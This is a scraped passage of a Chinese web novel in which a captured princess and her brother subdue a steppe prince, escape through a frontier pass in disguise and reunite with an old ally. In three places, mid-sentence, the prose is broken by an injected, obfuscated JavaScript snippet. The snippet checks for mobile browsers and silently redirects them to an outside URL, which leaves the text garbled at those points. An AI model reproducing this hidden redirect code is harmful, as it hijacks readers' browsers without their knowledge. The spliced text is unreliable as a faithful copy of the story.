“好了好了,现在不是没事了吗?”刘昶轻拍着刘宁的肩膀,一边安慰,一边解释道:“在喝第二碗药的时候,我便醒了。” “那药……”一提起每日喝得乌漆嘛黑的药汤,刘昶便浑身起鸡皮疙瘩,忍不住打了个寒颤,“啧啧啧。” “苦得我一下子神识清醒。”刘昶叹了口气,语气诙谐,边比划边说道,“我眼睛偷偷睁开一条缝,就看到呼廷聊赞就站在我面前,吓得我呀,又赶紧闭上了眼,有他在,我哪里还敢醒呢?” “才刚醒那会儿,我一时间弄不清眼前的状况,我只以为你我都被他俘获了,急得我抓心挠肝的,可怎么也想不到对策,再加上身子也虚,索性便装睡再养上几日。” 一想到那药,刘宁便忍俊不禁:“若是你再早醒几日,想来便喝不到那药了。” 刘昶慨然道:“晚醒有晚醒的好,若不是在敌营中躺了这么几日,我哪里能猜得到呼廷聊赞的心思呢?” “怎么说?”刘宁好奇问道,又一边递上碗温水。 刘昶接过,咕噜咕噜喝得个干净,而后凑到刘宁耳边,低声道:“那呼廷聊赞,真是诡计多端,不容小觑。” “近来他派人假扮我们的士兵前去布拉古境前,以此来激怒布拉布从而得到布拉古点援兵,而他自己则坐山观虎斗,好坐收渔翁之利!” 留得呼廷聊赞活一日,大江边境便一日不得安稳。 经此一事,刘昶也不知大姐姐刘安要与呼廷聊赞谈判的决议到底是对还是不对。 “这些你是怎么知道的?”刘宁不免更加好奇。 刘昶轻笑一声:“那呼廷聊赞千千防万防,竟不知我早已醒来,竟还当着你我二人的面和下属谈论这些!” 刘宁喜道:“我竟不知,你听得懂胡语!” 刘昶笑道:“我在边境数载,能听懂胡语不足为奇。” “眼下要紧的,是快点回去。”说着,刘昶面色转而变得凝重,“想来大姐姐如今为着你我二人失踪的事儿,处境艰难。” 刘宁撇撇嘴:“她大权在握,谁能为难得了她呢?” 刘昶瞥了眼刘宁,张了张嘴,又默默叹了口气。 阿宁和大姐姐之间一定有误会,只要两个人见了面,把话说清楚便好,他们到底是血脉相连的骨肉至亲。 刘昶这样想着。 刘昶道:“依我看,既要快点回去,不如便趁着今夜的迁徙。我们趁乱逃出去。” 138. 御下(十三)险中求胜 刘昶才醒来,身体到底虚弱,不过是说了些话,眉心便一阵酸胀,连带着眼睛也沾染了些疲惫。 刘宁一手托着刘昶脖子,缓缓放刘昶躺倒,担忧道:“你不如再休养几日?” “机不可失。”刘昶摇摇头,眼神坚定道,转瞬又浮上一层担忧,“只怕……阿宁要吃些苦头了。” 刘宁拂去刘昶脸上垂落的发丝,率性笑道:“怕什么?只要我们能回到大江,吃多少苦都不怕的。” 忽然,营帐外头传来一阵凌乱的脚步。 脚步渐近,二人对视一眼,眼里写满警觉。 不多时,脚步声停在营帐前。 刘昶余光瞥见营帐的门帘被掀起,忙眼神向刘宁示警,紧接着闭紧双眼。 刘宁扭头,循声看去,只见呼廷聊赞火急火燎地带着几个胡人闯进来。 眼见着几人直奔她与刘昶而来,刘宁本能地挡在刘昶面前,质问道:“你们要做什么?” 呼廷聊赞瞥了刘宁一眼,见刘宁状态不似方才疯癫,深吸一口气,耐着性子解释道:“敌军扑过来了,这里不安全。” 敌军?刘宁眼皮微动,那不就是他们大江的军队吗? 眼下当真是不可失的机会呢! 呼廷聊赞凌厉的眼神扫过刘宁,最终落在刘昶身上。 仅一个抬手,呼廷聊赞带来的胡人用床上的被子裹起刘昶,便抬着刘昶往外走。 眼见着藏在被子里的剑穗漏出来,刘宁挡在胡人面前,假意拦道:“不许动他!” “不许你们动他!” 趁着混乱,刘昶将剑穗拉回。 呼廷聊赞皱着眉,两步便走到刘宁身旁,一手擒住刘宁的后脖颈,致使她动弹不得,而后附在刘宁耳边道:“你们只需顺从我的命令,我保你们平安。” “否则,落在叔父手里,可就没这么好命了。”末了,呼廷聊赞又补了一句,说完,慢慢松开手,戏谑地看着刘宁。 刘宁双腿钉在原地,身形微抖,缓缓转身,仰头看向呼廷聊赞:“那……那他还能醒吗?”说着,刘宁指向门口,刘昶被抬出的方向。 呼廷聊赞挑眉,明知故问道:“你很在意他,他是你什么人啊?” “莫非是……”呼廷聊赞不怀好意地揣测道。 “他是我弟弟!”刘宁佯装慌不择口辩驳道,话才说出口,忙又捂住嘴巴,眼睛瞪圆,连连摇头道:“不是,不是!” “哈哈哈哈哈——”呼廷聊赞大笑数声,他猜的果然不错。 只是没想到,他们姐弟二人,一人昏迷,一人疯癫,还都落在了他手里。 “放心,不管你们是什么关系,我都会保护好你们的。” “把你们的东西都带全。”呼廷聊赞拍了拍刘宁的肩膀,得意离去。 刘宁轻呵一声,嫌恶地掸了掸肩膀,转身蹲下,取出藏在床下的弓箭,随手取来一件衣裳裹住,直至看不出弓的形状来,这才抱在怀里,快步跑出去,追上呼廷聊赞。 “这里!”呼廷聊赞见着刘宁出来,招手道。 刘宁迟疑片刻,打量一圈,仅有呼廷聊赞身旁的这一架八匹马拉着的营帐。 周边士兵早已列阵,个个都虎视眈眈。 刘宁不免警觉,问道:“他呢?” 呼廷聊赞撩起一角车帘,刘昶的脸一闪而过。 刘宁迈步入了营帐,呼廷聊赞也跟了上来。 刘宁警惕地回头看了眼呼廷聊赞,眼珠辗转间,便有了主意。 虽说是逃亡迁徙,可呼廷聊赞并不担忧,一如往常,美酒在旁,歌舞相伴。 曲毕舞毕,呼廷聊赞一挥手,众人退下,营帐内仅剩他与刘宁、刘昶姐弟二人。 一个昏迷至今未醒,一个时而清醒时而疯癫,两个人毫无威胁。 呼廷聊赞一手拎着酒壶,一手捏着酒杯,晃晃悠悠走向刘宁,语气中带了很浓的醉意:“本该好好招待你们的,可没办法,两军交战。” 说着,呼廷聊赞斟满酒,将酒杯推到宁面前,醉醺醺道:“说真的,两军交战,实在没必要。” 刘宁接过酒杯,上下扫了眼呼廷聊赞,只见呼廷聊赞醉眼朦胧,便缓缓将酒杯置于嘴边,而后手一错,满杯的酒全数洒在身后。 刘宁似笑非笑,将空的杯底展示给呼廷聊赞看。 呼廷聊赞接过酒杯,倒满酒,自己一饮而尽,紧接着一手勾上刘宁的肩膀,再次倒满酒:“你们大江应该像你们祖上那样,派名和亲公主过来,用你们的话来说,化干戈为玉帛。” “你觉得如何?宁乐公主?”一满杯的酒紧贴着刘宁嘴边。 刘宁两手死死扳着呼廷聊赞的手臂,眼睛在桌上搜寻着。 然而满杯的酒滴酒未洒。 “哈哈哈哈——”呼廷聊赞大笑。刘宁此举,无异于是一只小羊羔在挠他。 刘宁眼睛已经瞟到了桌上羊肉上插着的短刀。 满杯酒被灌到刘宁口中。 “哈哈哈哈哈——”呼廷聊赞就再次放声大笑。 借着呼廷聊赞倒酒的间隙,刘宁一把抓起分肉的短刀,朝着呼廷聊赞搭在她肩膀上的胳膊刺去。 呼廷聊赞完全未曾料到刘宁此举,结结实实挨了这么一刀。 胳膊上的刺痛,使得呼廷聊赞酒意全无。 刘宁顺势将嘴里的酒全吐在呼廷聊赞脸上,借着呼廷聊赞抹脸的间隙,趁机与呼廷聊赞拉开距离。 “敬酒不吃吃罚酒。”呼廷聊赞盯着大臂横插着的短刀,骤然变了脸色。 刘宁一脚踹在呼廷聊赞胸口。 凭着体型的碾压,呼廷聊赞硬接下刘宁这一脚。 眼见着呼廷聊赞岿然不动,刘宁借势便要收回脚,呼廷聊赞又哪里肯给她这样的机会,甩掉酒壶,一手抓住刘宁的脚踝,生生将刘宁拉回。 刘宁一个趔趄,摔在地上。 呼廷聊赞晃晃悠悠站起身,弯腰抓起刘宁的脖子和脚踝,朝着桌子狠狠摔去。 桌上的羊肉瞬间被碾成泥,桌子也从中间断开,裂成两半。 呼廷聊赞抬起一脚便踩在刘宁腿上,伸手抓住刘宁的发髻扳向自己:“乖乖的不好吗?” “非要这么不知好歹?” 醉醺醺的酒气熏了刘宁一脸。 刘宁啐了一口,两指勾起,直戳呼廷聊赞的双眼。 呼廷聊赞后退躲闪,抬手抵挡。刘宁抓住机会,一个翻滚,与呼廷聊赞拉开距离。 呼廷聊赞被惹怒,向来只有他侮别人的份儿,何时受过这种屈? 更何况伤他辱他的还是他最厌恶痛恨的那张脸! 酒精的麻痹,愤恨地翻涌,致使呼廷聊赞忘了痛,他抬手拔出插在上臂的匕首。 霎时间,鲜血喷涌,污了一地。 呼廷聊赞手一甩,短刀直奔刘宁面门,直逼那张令他痛恨的脸。 电光火石之间,刘宁本能下压躲避。 可饶是刘宁躲得再快,也没快过那脱手的短刀。 短刀直直插在刘宁头顶的发髻中,尾端没入发髻。 “当啷”一声,短刀落在刘宁身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274335|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头发飘飘乎也散了一地。 来不及哀悼散了一地的发丝,刘宁飞快弯腰,回手抄起身后的短刀,三步并作两步,再次朝着呼廷聊赞刺去。 短刀还未抵到呼廷聊赞的胸口,便听得“咚”一声。 呼廷聊赞睁大了眼,倒在地上。 刘昶双手紧握剑鞘,冷冷瞥了眼倒地的呼廷聊赞,松了口气。 眼见着刘宁来不及收力,持刀刺过来,刘昶抬起剑鞘格挡,同时侧转让出身位,而后抓住刘宁的手腕,手指一用力,刘宁手腕翻转、五指张开,手中的短刀掉落在地。 营帐内的打斗声引来两个胡人。 两个胡人才刚探头进来,刘昶拎起掉落在地上的酒壶,朝着二人掷去,嘴里说着有些不太流利的胡语:“滚出去!” 刘昶力气并未完全恢复,这一掷未使出全力,并未砸中那两个胡人。 酒壶“当啷”一声落地后,咕噜咕噜滚向那两个胡人。 两个胡人慌得忙“扑通”一声跪在地上。呼廷聊赞的脾气他们都是知道的。 两人脑袋低垂,不敢多看一眼多问一句,挪动着膝盖退出营帐。 “回来!”刘昶喊住二人,“备车马!” 眼见一切进展顺利,二人并未暴露,刘宁方才从刘昶身后探出身来,拍了拍手上的脏污,笑道:“今日真乃天时地利人和啊!” 刘昶点点头:“如今只是暂时唬住了他们,能不能跑回边境,就全看今晚了。” 刘宁一抬脚,不慎踩到躺在地上的呼廷聊赞,身形一晃,还好刘昶及时托住,才不至于摔倒。 “阿宁小心!” “无碍。”刘宁稳住身形,歪头看向地上的呼廷聊赞,又瞥见地上的短刀,弯腰捡起,眼见就要割向呼廷聊赞的喉咙,却被刘昶死死擒住手腕。 “留活口。” “他这样的人留着也是祸害,如今既有机会,不如早早解决,以绝后患。”刘宁哼了一声,心中虽不忿,手却已慢慢卸力。 刘昶道:“活着的草原王子,比死了的有用。” 刘宁不解:”为何?“ “时间紧急,无暇细说。”刘昶已俯身蹲下,眼见呼廷聊赞大臂上的伤口血流不止,刘昶扯下自己衣服上的布,简单包扎了下。 刘昶一边扒取呼廷聊赞的行头,一边头也不抬道:“快,来帮忙!” 刘宁未过多纠结,俯身帮忙。 二人合力脱下呼廷聊赞的外衣,取下头饰,本还想将呼廷聊赞抬上床做伪装,无奈,呼廷聊赞太重,只得将床上的被子取来,胡乱盖在呼廷聊赞身上。 刘昶则是穿戴上呼廷聊赞的衣裳、头饰,扮作呼廷聊赞的样子,还喊来四五个胡人,将呼廷聊赞抬上了早已准备好的马车。 “不必跟着,我自去……逛逛。”刘昶嬉笑道。 他的脸,被散着的头发半遮半掩着。 胡人之中或有人诧异,但呼廷聊赞向来刚愎自用,因而只得依着刘昶所言,将他们三人送出。 马车上插着的旌旗肆意飘扬着。 刘昶手中的鞭子一刻也不敢停,直至远离了胡人军营,直至军营的火光渐渐变成一个亮点,刘昶与刘宁两个才敢松口气,得以喘息。 头顶明月,刘宁轻而易举辨别方向,提醒道:“不要走永河。” 她记得萨丽娜尔的话:“只怕胡人还有部分兵力驻守永河边境。” 刘昶点点头:“我知道。” “绕道走马关!”二人异口同声,想到了一处去,语毕,二人相视一笑。 139. 御下(十四))各有算计 马车一路疾驰,直至日出东方,红透了一片天。 也为刘宁、刘昶二人照亮去路。 驾车疾行一夜,即将归朝的兴奋使得二人并不觉得疲惫,反而越来越精神抖擞。 “咳咳——”车厢内的两声咳嗽响起,紧接着便是一声咒骂。 “他醒了。”刘昶一手轻轻拍了拍刘宁的肩膀,顺手将手里的马鞭递给刘宁:“我同他讲。” 刘宁点点头。 刘昶掀起车帘,见着正在车厢内频频挣扎却无法翻身的呼廷聊赞,轻叹一声,取出腰间的水壶,打开壶口,递到呼廷聊赞嘴边。 刘昶、刘宁两个怕呼廷聊赞醒来二人不敌,特地将呼廷聊赞的手脚捆得结实。 见是刘昶,呼廷聊赞冷哼一声,别过脸去,企图维持他本就狼狈的体面。 刘昶面上带笑,特地在呼廷聊赞耳边晃了下水壶:“呼廷王子,不喝吗?” 壶内水流互相撞击的声音同时撞入呼廷聊赞的耳朵,呼廷聊赞喉结上下滚动,咽下口干涩的唾沫,喉咙里飘出一声哼。 “伤你并非我们本意,还望呼廷王子见谅。”刘昶好言好语道。 一道帘子相隔的刘宁,听得刘昶如此说,嗤了一声,一抹不解在心头晕开。 对于刘昶的话,呼廷聊赞依旧是一声哼。 僵持片刻,呼廷聊赞死死盯着刘昶,从沙哑的嗓子中挤出几个字:“你们大江人,一贯的狡诈!” “兵不厌诈。”刘昶仅是垂眸一笑,并未与呼廷聊赞争辩太多,“呼廷王子熟读我大江的经书典籍,想来自然明白。” 手臂上传来的刺痛,使得呼廷聊赞愈发地清醒,可他却一句话也不愿再与刘昶多说。 见此情形,刘昶还是主动将水喂在呼廷聊赞嘴边:”此来先委屈呼廷王子一两日,待到我大江,必将好生招待王子。“ 水就在嘴边,呼廷聊赞吞咽了口所剩无几的唾液,心中纠结挣扎数下,还是将嘴凑到水壶口,大口大口吞咽着。 如同一只落魄的猛兽,毫无往日威风毫无尊严地趴在地上,饮着水。 刘昶冷眼看着。 刘昶本想将呼廷聊赞扶起来坐好后,再将水喂给他,但一看到他手臂上浸出的那抹红,心中便腾起一股火气。 敢欺负阿宁!若不是他对大姐姐还有些用处,早留给阿宁泄愤了,又怎会留他到现在? 一壶水饮尽,呼廷聊赞满足地舔了下嘴唇,翻身躺下。 有了水的滋润,呼廷聊赞恢复了不少精力。 刘昶收起水壶,转身出了车厢,一刻也不愿与呼廷聊赞共处多待。 “他怎么样了?”见着刘昶坐回身旁,刘宁随口问道。 刘昶答:“死不了。” 刘宁问道:“留他,是谁的意思?” 刘昶默了稍瞬,答道:“大姐姐的意思。” 刘宁嗤了一声,她就猜到是宫里大姐姐,可不管宫里的她谋划算计些什么,也断然不能将七弟的性命也算计进去! 刘宁高高扬起一鞭,狠狠抽在马身上。 马痛得嘶鸣一声,一个抖动,颠得车厢内的呼廷聊赞又翻了个身,压着手上的手臂,“哎呦哎呦”得连着叫唤两声。 刘昶回头看了一眼,隔着车帘,自然也没看到什么。 刘昶又扭回头,看向刘宁:“阿宁,你与大姐姐之间有误会,有什么话见了面,说开了就好,我们是手足至亲——” 话还没说完,马又挨了一鞭,车子再次颠簸抖动。 刘昶一手死死抓着车框,一手抓紧刘宁的胳膊,生怕刘宁被颠下去。 一口冷风灌进了肚子,刘昶咳嗽一声。 刘宁后知后觉,想起刘昶不过才初愈,忙道:“外面风大,你别在外面坐着了,进去吧。” 刘昶摇摇头。 “翅膀硬了?我的话也不听吗?”刘宁没多废话,腾出手,拧住刘昶的耳朵,威胁道。 刘昶无奈,只得乖乖听话,躲在车帘后避风。 虽刘昶与呼廷聊赞在同一空间内,二人仅在刘昶刚进入车厢时互相瞥了眼,再未说过一句话。 跑了有多半日的功夫,才看得到走马关城楼的轮廓。 走马关,地处别别山脚下,是唯一一处还算平坦的道路,可供车马由西向东穿行,因此得名走马关。也是是穿过别别山的唯一一道关,连接着西北呼廷聊赞的部落与北面塔塔娜尔的部落。 过了走马关,就是大江朝的北大门——彰州了。 大江建朝初期,彰州十五城乃至最北边别别山下的走马关都在大江境内。 后北边、西北边的胡人壮大,在承道年间南下突袭,走马关丢了,彰州十五城也割了十座。 眼见着走马关下的胡人士兵拦住了去路,刘宁轻“啧”一声,不动声色地拉上衣领遮住自己的脸,盘算着该如何应对。 岂料胡人士兵看到马车上插着的旗子,一个个都变了脸,低头躬身相迎。 “恭迎呼廷王子!” 车厢内地呼廷聊赞听见,察觉机会就在眼前,正欲大喊一声,谁知刘昶动作更快。 刘昶一言不发,盯着呼廷聊赞微微张开的嘴唇。 长剑出鞘五寸,卡在呼廷聊赞脖子,剑刃擦着呼廷聊赞皮肤。 呼廷聊赞知道,此时若他发出一声,以后便会彻底发不出声来。 想明白这点,呼廷聊赞合上嘴唇,两片唇瓣紧紧粘在一起,牙齿也紧紧贴在一起,待对上刘昶眼睛,狠狠瞪了回去。 且等着! 车帘晃动,一个水壶从车厢内飞出,砸在地上。 水壶裂开,里面的水淌了一地,瞬间凝结成冰。 察觉到车厢内的人发怒,士兵们脑袋垂得更低了,腰也更塌了,纷纷让开一条道,供面前的马车通行。 都到这份儿上,刘宁眼珠一转,想起呼廷聊赞的乖张的性格,她如今是驾车的小厮,自然也是个张扬的性子。 既然做戏那便当做全套才是。 刘宁一侧嘴角勾起弧度,站起身,一手拉着缰绳,一手扬鞭,朝着关内疾驰。 一路上放声大笑。 途遇百姓士兵,纷纷避让,无一人敢拦这位乖张狠厉的呼廷王子的车驾。 “好是张狂!”布行老板杜丽锦扫了眼被撞得散了一地、溅上黑雪的布匹,恨恨道。 这是她才从国内拉来的布匹,走的还是大江与塔塔娜尔部落之间新开的商道,单这过关的费用就花了好大一笔钱。 还没捞回本呢,就这样染上了脏污,她如何能咽得下这口气! “三娘!”一旁的胡人女子苏玛尔拉住愤愤不平地杜丽锦,劝道:“这次,得打碎了牙和血吞。” “你看到那车上的旗子了吗?” “方才过的那辆马车,是呼廷王子的。”一想到呼廷聊赞,苏玛尔打了个寒颤,“他,我们还是少招惹的好。” 苏玛尔指挥着手下将散在地上的布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274336|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匹重新堆叠码放好。 杜丽锦冷笑一声:“凭他是谁?即便是塔塔娜尔汗见着我,也是客客气气的以礼相待。” “呼廷王子他……”苏玛尔顿了顿,四下循视一圈,微微提起裙子,小心翼翼踏过脚下的泥泞,凑到杜丽锦耳边:“他生性残暴,就连对自己部落的人也下得去手,更别提我们了。” “他极为讨厌大江人,落在他手里的大江人……”苏玛尔无奈闭上眼睛,连连摇头。 想当初,大江曾派一和亲公主与胡人联姻,可后来和亲公主一脉均…… 就苏玛尔的眼皮,都在控制不住地颤抖。 “还是不要招惹的好。”苏玛尔再次劝道:“即便你背后有着容相撑腰。” 听到苏玛尔提及容相,杜丽锦眉头一挑,转瞬恢复如常:“容相入的是暗股,她与我们的关系不要时常挂在嘴边,免得被有心人听到。” 苏玛尔忙闭上嘴,小心翼翼地看了眼杜丽锦的脸色。 苏玛尔口中的容相,正是当年与杜丽锦一同北上入关,化名容光的傅容光。 说起傅容光,杜丽锦也很是佩服,不足半年的功夫,不单带着她们将布行的生意做大,还入了汗宫,成了塔塔娜尔汗最得力的助手、最信任的女官。 塔塔娜尔汗更是为了她,力排众议效仿大江,还特地设立女相之位。 谁人见了她不尊称一声容相? “你方才说——”杜丽锦脚下一顿,扭头看向苏玛尔,“说的呼廷王子,可是眼下正与我们大江打仗的呼廷聊赞?” 苏玛尔瞪大了眼睛,连连点头:“可不敢直呼王子名讳!” “我知道了。”杜丽锦眉头紧蹙,似是而非答道。 她知道了,容相命她多留意些呼廷聊赞那边的动静,如今可算有了进展。 “我记得,容相如今就在关内吧。”杜丽锦吩咐道:“挑匹干净的绸缎,亲自送到容相面前。” “还有,盯紧呼廷聊赞的动向。” 苏玛尔闻言一惊:“啊?这……” 杜丽锦笑道:“怕什么?不过是打听下他去哪儿,我们避开便是了。” “快去通知容相吧。” 望着苏玛尔捧着的那匹颜色鲜艳的绸缎,傅容光垂下眼睛,淡淡道:“这便是三娘新进的锦缎吗?” “是。”苏玛尔答道。 傅容光冷笑一声,晾了苏玛尔好一会儿后,才瞥了苏玛尔一眼:“丽锦布行也不过如此,若是她不想做汗宫的生意,那便换人吧。” “反正,又不缺她这一家。” “不……不是的!不……”苏玛尔连连摆手解释道。 傅容光手里动作一顿,歪头看向紧张起来连话都说不清楚的苏玛尔,脸上始终带着股淡淡的笑。 苏玛尔是她与杜丽锦北上时,在路边捡到的一无亲无故的胡人女子。 丽锦心善,因见苏玛尔无依无靠,再者来做胡人的生意,不会胡语可不行,因此便将苏玛尔留在身边。 说起来,也多亏了苏玛尔,傅容光的胡语才能日益精进,直至与塔塔娜尔搭上话。 “算了。”傅容光手一挥,放下手里的书册,站起身,理了理衣裳,道:“我亲自去听她解释!” 傅容光换了身常服,乘车来到丽锦布行门前。 杜丽锦好似知道傅容光会来,早早便派了人去门口接应,一见着傅容光人,便将傅容光引进后院。 “容光,有消息了!” 140. 御下(十五)入关重逢 傅容光拂了下鬓边的碎发,信步走入内室,道:“怎么说?” 杜丽锦走到门口,警惕地扫了一圈,轻轻关上房门,转身快步走到傅容光近前,一边为傅容光斟茶一边道:“呼廷聊赞入关了。” “呼廷聊赞?”傅容光接过茶水,手上动作一滞,挑眉道:“两朝正是打得不可开交的时候,他这会儿入关做什么?” “我也正纳闷呢。”杜丽锦为自己也倒了杯茶水,挨着傅容光坐下:“你先前说让我多留意些定北王与宁乐公主的消息,你说……” 杜丽锦一顿,离得傅容光更近了些:“这呼廷聊赞会不会知道些什么?若是从呼廷聊赞入手,兴许……” 傅容光看了眼杜丽锦,边思索,边将茶水送到嘴边,小抿一口,道:“他人现在在哪儿?” 杜丽锦忙不迭答:“就在刚入关,那条大路上第一个岔路左边的那个小客栈。” “说起这个,更是可疑。”杜丽锦说出自己的猜测,“按理说,呼廷聊赞是草原王子,又是那样个张狂的性子,怎会屈尊降贵窝在那么个小客栈呢?” “那客栈不大,平日住店的客人也不多,店里多半是些吃茶的散客,别说是我们布行的伙计,就算是初来乍到的行商,也不会选择那样一家客栈。” 傅容光思忖半晌,幽幽道:“确实可疑。”说着,傅容光放下茶杯,站起身来,径直朝着门口走去。 “这就走了?”杜丽锦也跟着站起身,拦道:“我这里还有另一件要紧事同你讲呢。” 杜丽锦嘴快,傅容光才到门口,她便将今早拉的预备送入汗宫的布匹被弄脏一事说出。 “容光,那可是塔塔娜尔汗为着年终祭奠专门点的布匹锦缎,我们又是费了大代价拉来的,整个布行都指着这单呢!还没送入汗宫给塔塔娜尔汗挑选呢,便已污了大半。年终祭奠又近在眼前,眼下可怎么办才好?” 杜丽锦愁云漫布,两手一摊,无可奈何。 傅容光驻足站立,看了杜丽锦一眼。站在她面前的可是凭一己之力盘活了整个布行生意的杜丽锦杜三娘,又岂会无计可施? 傅容光自然不信杜丽锦这番说辞,随即笑道:“入了这走马关,谁人不知你杜三娘的本事?” “即便是锦缎污了,你也能赚出花儿来。” 闻言,杜丽锦掩嘴一笑,开门见山道:“难为你看得起我,我便直问了。” “近来都在传,彰州会再开一道通商的口岸,传言可真?”杜丽锦紧紧盯着傅容光的脸,企图从傅容光的一颦一笑间看出真相。 傅容光笑道:“三娘消息灵通。” “大汗正有此意,只是两国还在你来我往的谈判中,且还要再等些日子呢。” 杜丽锦心中了然,道:“那我便先安排了。” “三娘!”傅容光才迈出一步,旋即又收回脚,看向杜丽锦:“再替我送封信,便送到永州,越快越好。” 傅容光心中盘算着,今儿既要见呼廷聊赞,那刘宁、刘昶二人想必很快便会有消息,可她如今是塔塔娜尔的容相,不再是江朝的傅容光,只怕不便插手此事。 眼下,恐唯有在永州的刘赞方便处理此事。 “好。”杜丽锦应下。 傅容光微微颔首,推门走出去,待出了布行,便径直朝着杜丽锦所说的那间小客栈行去。 “客官,要吃什么茶?”店小二见着傅容光身上穿着的是眼下最时兴的布料,忙换上一副谄媚的笑意迎接。 “住店。”傅容光粗略扫了眼店内景象,并未过多停留,撇下一小锭银子,直接上了楼梯。 店小二咬了口银子,嘴里嘟囔一声:“也是奇了,今日怎么这么多人住店?” 方才一幕,全落在刘宁眼中。 刘宁才在后院喂了马,因见傅容光身着不凡,与店内诸人格格不入,当即多了个心眼,顺势找了个空位坐下,看了全程。 店小二的话自然也一字不落全听了去。 刘宁推了推脸上面罩,走到店小二近前,眼睛紧盯着傅容光的身影,问道:“你说什么?” 店小二晃了下神,恭恭敬敬道:“年底了,住店的客人也多了起来。” 刘宁点点头,打着呼廷聊赞的幌子,摆起架子,道:“呼廷王子住在这里的消息,可别告诉旁人,否则王子怪罪下来——” 刘宁横眉呲牙道:“让你们吃不了兜着走!” “是是是。”店小二唯唯诺诺,心中却是很不服气。 还王子呢,抠搜得很!还不如方才的那位客人大方。到底是些蛮夷,远不及大江繁盛。 威吓过店小二后,刘宁三步并作两步,同傅容光前后脚的功夫先后到了二楼客房。 见着傅容光举动鬼祟,刘宁不动声色地一步步挪向傅容光。 自傅容光上了二楼,一路排查过来,途径的七间客房均是空的,唯独剩下走廊尽头的最后一间。 眼看着就要走到近前,忽然察觉到身后有人跟着,傅容光放缓脚步,借着余光—— “别动。” 不知何时,刘宁已贴到傅容光身后,三指扼住傅容光的喉咙。 房间内的刘昶早已在门后准备多时,听到动静,以迅雷不及掩耳之势,将傅容光与刘宁两个拉入屋内,旋即紧闭房门,背对着二人。 傅容光身形踉跄一下,很快又站稳。 翻毛皮的靴子,猛兽皮制的外衣,不用再看,傅容光已猜到了面前这人的身份。 傅容光双手依次抱于胸前,垂着眉眼,冲着刘昶的方向弯腰施礼,用胡语恭敬道:“臣容光,拜见呼廷王子,愿上天赐呼廷王子千秋万世。” 刘宁抱着手臂,上下扫视,打量着傅容光。 “容光?”刘昶用胡语重复一句,转过身来。 “是。听闻王子入关,臣——”说着,傅容光缓缓抬起头,与刘昶四目相对。 面前之人哪里是呼廷聊赞! “定北王?”傅容光脱口而出。 “傅姑娘?”刘昶也同时开口道。 刘宁眉头紧皱,一时间摸不清眼前的状况,怎么七弟与这人相识? 傅容光扭头看向一旁的刘宁。 虽刘宁与她记忆中的样子添了许多磨难的痕迹,但眼前的刘宁,正与她记忆里的那个五皇女重叠。 她一眼便认出了刘宁。 “阿宁,我给你介绍一下,这位是傅容光傅姑娘。”刘昶喜出望外。 傅容光?刘宁有所耳闻。 虽说她成日里待在京城西郊的那座宅子里,可对于那场闹得沸沸扬扬的男扮女装案,多少从沈韵嘴里听到过些。 “傅姑娘,这是我五姐刘宁。” 傅容光上下扫了眼刘宁,笑着拱手道:“拜见宁乐公主。” “不必拘礼。”刘宁满心满眼写着欣赏,笑着摆摆手。 傅容光道:“早前殿下与逍遥王殿下游历时,有幸得殿下相帮,容光铭记于心 “哦,是你。”刘宁恍然,有了印象。 傅容光,傅士安之妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274337|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曾亲手奉上傅士安的临终血书。 “傅姑娘,你怎会在此?”刘昶问道。 “说来话长,日后再慢慢说与二位殿下。”傅容光并未作答,反而道:“二位殿下切记,我如今隐去傅姓改换作容,在外需改口才是。” 待对上刘宁与刘昶二人探究的目光,傅容光未多做解释,道:“我傅容光对大长公主殿下,对我大江,一片赤诚,绝无二心。” 刘昶点点头,他六哥刘赞看准的人,不会错的,他信傅容光所言。 话虽如此,可刘宁多少还是有些戒备。 当初傅容光因假扮朝廷命官被流放,现下又成了塔塔娜尔的丞相?为胡人效力?叫她如何能安心。 “傅……”刘昶作揖,傅字才说出口,想起此时傅容光已隐去傅姓改姓容,忙改口道:“容姑娘安排周密,眼下还有一事需要麻烦容姑娘,还望容姑娘为我们准备一架大一点的马车。” “实不相瞒,除我们二人以外,后院的马车里还有一人。”刘昶如实道。 “是吗?”傅容光走到窗边,推开一条缝隙,顺着缝隙朝下面看去。 听到刘昶毫无保留全说出来,刘宁一脚踩在刘昶脚上,瞪了刘昶一眼。 刘昶摇头示意,贴在刘宁耳边低语:“无妨,路上再与你细说。” “听——”傅容光瞬间警觉。 “什么声音?” 刘昶与刘宁也是支起耳朵仔细听。 是一声尖锐细长的哨音。 傅容光三人面面相觑,不明所以。 傅容光关上窗户,皱眉道:“只怕此处已不安全,还是快些回到大江为好。” 刘昶道:“原也不计划在走马关过多停留,无奈北境有战事,这才不得不从这边过。还有一点,这入关的文书……” 